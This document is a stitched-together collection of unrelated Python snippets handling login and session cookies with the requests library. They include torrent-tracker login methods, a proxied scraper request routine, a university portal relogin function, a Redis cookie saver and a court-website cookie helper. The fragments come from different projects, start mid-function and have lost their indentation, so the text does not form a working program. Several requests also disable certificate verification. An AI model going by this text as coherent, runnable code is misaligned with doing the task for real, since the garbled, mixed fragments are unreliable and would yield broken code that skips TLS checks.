logger.log('You need to set your cookies to use torrentday')
return False
def login(self):
cookie_dict = dict_from_cookiejar(self.session.cookies)
if cookie_dict.get("uid") and cookie_dict.get("pass"):
return True
if self.cookies:
success, status = self.add_cookies_from_ui()
if not success:
logger.info(status)
return False
login_params = {"username": self.username, "password": self.password, "submit.x": 0, "submit.y": 0}
login_url = self.urls["login"]
if self.custom_url:
if not validators.url(self.custom_url):
logger.warning("Invalid custom url: {0}".format(self.custom_url))
return False
login_url = urljoin(self.custom_url, self.urls["login"].split(self.url)[1])
response = self.get_url(login_url, post_data=login_params, returns="response")
if not response or response.status_code != 200:
logger.warning("Unable to connect to provider")
return False
if re.search("You tried too often", response.text):
logger.warning("Too many login access attempts")
return False
if dict_from_cookiejar(self.session.cookies).get("uid") in response.text:
return True
else:
logger.warning("Failed to login, check your cookies")
return False
else:
logger.info("You need to set your cookies to use torrentday")
return False
def req(self, seed_inst):
seed_dict = seed_inst.to_req_dict()
try:
self.log.info(f'请求: {seed_dict.get("url")}')
self._clear_session_cookie() # 无论如何都清除之前的cookie, 由seed传入cookie
req_inst = self._make_req_from_seed(
seed_dict) # 根据seed构建一个Request实例
prep = self.session.prepare_request(req_inst) # 让session准备好
proxies = seed_dict.get('proxies') or self.proxy_inst.get_proxy()
if proxies:
self.log.info(f'使用代理 : {proxies.get("http", "non_proxy")}')
settings = self.session.merge_environment_settings(
prep.url,
proxies or dict(),
stream=seed_dict.get('stream') or False,
verify=seed_dict.get('verify') or False,
cert=seed_dict.get('cert'))
send_kwargs = {
'timeout': seed_dict.get('timeout')
or Public_Constant.req_timeout,
'allow_redirects': seed_dict.get('allow_redirects', True),
}
send_kwargs.update(settings)
req_time = time.time()
resp = self.session.send(prep, **send_kwargs)
if self.use_cookie:
req_cookies = get_cookies_from_request(req_inst)
session_cookies = dict_from_cookiejar(self.session.cookies)
self.previous_cookies = merge_cookies(
req_cookies,
session_cookies) # session_cookies是请求后服务器的设置,优先级更高
self.log.info('请求成功, 本次请求耗时<%.2fs>' % (time.time() - req_time))
return resp
except:
self.log.warning(f'{traceback.format_exc()}\n请求失败,切换代理后进行重试')
self.proxy_inst.change_proxy()
if seed_dict.get('proxies'):
seed_inst.proxies = self.proxy_inst.get_proxy()
raise downloader_exception
finally:
# requests底层漏洞, 不关闭session在偶然情况下会导致内存泄漏
self.session.close()
def reLogin():
"""
重新登陆
:return: 成功True/失败False
"""
url = 'https://cqmu.cpdaily.com/iap/doLogin' # POST
lt_url = 'https://cqmu.cpdaily.com/iap/security/lt' # POST
doLogin_headers = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
'Referer': 'https://cqmu.cpdaily.com/iap/login/pc.html'
}
redirect_headers = {
'Referer': 'https://cqmu.cpdaily.com/wec-amp-portal/login.html',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36'
}
lt_data = {
'lt': ''
}
lt = session.post(url=lt_url, data=lt_data, verify=False).json().get('result').get('_lt')
data = {
# 此处配置你的账号
'username': USERCODE,
# 此处配置你的密码
'password': USERPWD,
'mobile': '',
'dllt': '',
'lt': lt,
'captcha': '',
'rememberMe': 'false'
}
# 更新部分cookie
session.post(url=url, headers=doLogin_headers, data=data, verify=False)
# login
resp = session.get(url='https://cqmu.cpdaily.com/wec-amp-portal/login',
headers=redirect_headers, allow_redirects=False, verify=False)
location = resp.headers['Location']
# service
resp = session.get(url=location,
headers=redirect_headers, allow_redirects=False, verify=False)
location = resp.headers['Location']
# ticket
resp = session.get(url=location,
headers=redirect_headers, allow_redirects=False, verify=False)
dict_of_cookies = dict_from_cookiejar(session.cookies)
c_key = dict_of_cookies.get('MOD_AUTH_CAS')
if c_key:
return True
return False
def save_cookies(self):
"""
把cookies转换为字符串并存在redis里
:return: 0/1：是否插入成功
"""
cookie = self.session.cookies
# print(type(cookie))
# 先转换为字典
cookie_dict = dict_from_cookiejar(cookie)
# 再转换为str
cookie_str = json.dumps(cookie_dict)
client = StrictRedis()
# 先删除已经存储的cookie
client.spop('zhihu')
return client.sadd('zhihu', cookie_str)
def login(self):
cookie_dict = dict_from_cookiejar(self.session.cookies)
if cookie_dict.get('uid') and cookie_dict.get('pass'):
return True
if self.cookies:
success, status = self.add_cookies_from_ui()
if not success:
logger.log(status, logger.INFO)
return False
login_params = {
'username': self.username,
'password': self.password,
'submit.x': 0,
'submit.y': 0
}
response = self.get_url(self.urls['login'],
post_data=login_params,
returns='response')
if response.status_code not in [200]:
logger.log('Unable to connect to provider', logger.WARNING)
return False
if re.search('You tried too often', response.text):
logger.log('Too many login access attempts', logger.WARNING)
return False
if dict_from_cookiejar(
self.session.cookies).get('uid') in response.text:
return True
else:
logger.log('Failed to login, check your cookies',
logger.WARNING)
return False
def getONEAPM_AI():
""" 填充cookies
:return: getONEAPM_AI()/False
"""
params = {'functionId':'1'}
url = 'http://shixin.court.gov.cn/visit.do'
self.headers['Referer'] = 'http://shixin.court.gov.cn/'
options = {'method': 'get', 'url': url, 'params': params, 'cookies': self.cookies, 'headers': self.headers}
response = basicRequest(options)
if response:
self.cookies.update(dict_from_cookiejar(response.cookies))
return self.cookies
else:
return False
def login(self):
cookie_dict = dict_from_cookiejar(self.cookie_jar)
if cookie_dict.get('uid') and cookie_dict.get('pass'):
return True
if not self.add_cookies_from_ui():
return False
login_params = {'username': self.username, 'password': self.password, 'submit.x': 0, 'submit.y': 0}
response = sickrage.srCore.srWebSession.post(self.urls['login'], data=login_params)
if not response.ok:
sickrage.srCore.srLogger.warning("[{}]: Unable to connect to provider".format(self.name))
return False
if re.search('You tried too often', response.text):
sickrage.srCore.srLogger.warning("Too many login access attempts")
return False
if not dict_from_cookiejar(sickrage.srCore.srWebSession.cookies).get('uid') in response.text:
sickrage.srCore.srLogger.warning("Failed to login, check your cookies")
return False
return True
def filter_cookie(res, get_type="str"):
"""
:param res: request response
:param get_type: 如果需要json数据，get_type="dict",如果需要headers中的str数据，默认即可
:return:
"""
cookies = res.cookies
cookie = utils.dict_from_cookiejar(cookies)
if get_type == "dict":
return cookie
else:
ck = ""
for k in cookie:
ck += k + "=" + cookie[k] + ";"
return ck
def login(self):
"""Login method used for logging in before doing search and torrent downloads."""
if any(dict_from_cookiejar(self.session.cookies).values()):
return True
if 'pass' in dict_from_cookiejar(self.session.cookies):
return True
login_params = {
'uid': self.username,
'pwd': self.password,
'submit': 'Confirm',
}
response = self.get_url(self.urls['login'], post_data=login_params, returns='response')
if not response or not response.text:
logger.log('Unable to connect to provider', logger.WARNING)
return False
if re.search('Automatic log off after 15 minutes inactivity', response.text):
logger.log('Invalid username or password. Check your settings', logger.WARNING)
return False
return True
def login(self):
"""Login method used for logging in before doing a search and torrent downloads."""
cookie_dict = dict_from_cookiejar(self.session.cookies)
if cookie_dict.get('session'):
return True
if self.cookies:
add_dict_to_cookiejar(self.session.cookies, dict(x.rsplit('=', 1) for x in self.cookies.split(';')))
cookie_dict = dict_from_cookiejar(self.session.cookies)
if cookie_dict.get('session'):
return True
login_params = {
'submit': 'Login',
'username': self.username,
'password': self.password,
'keeplogged': 1,
}
response = self.get_url(self.urls['login'], post_data=login_params, returns='text')
if not response:
logger.log(u"Unable to connect to provider", logger.WARNING)
return False
if re.search('<title>Login :: BJ-Share</title>', response):
logger.log(u"Invalid username or password. Check your settings", logger.WARNING)
return False
return True
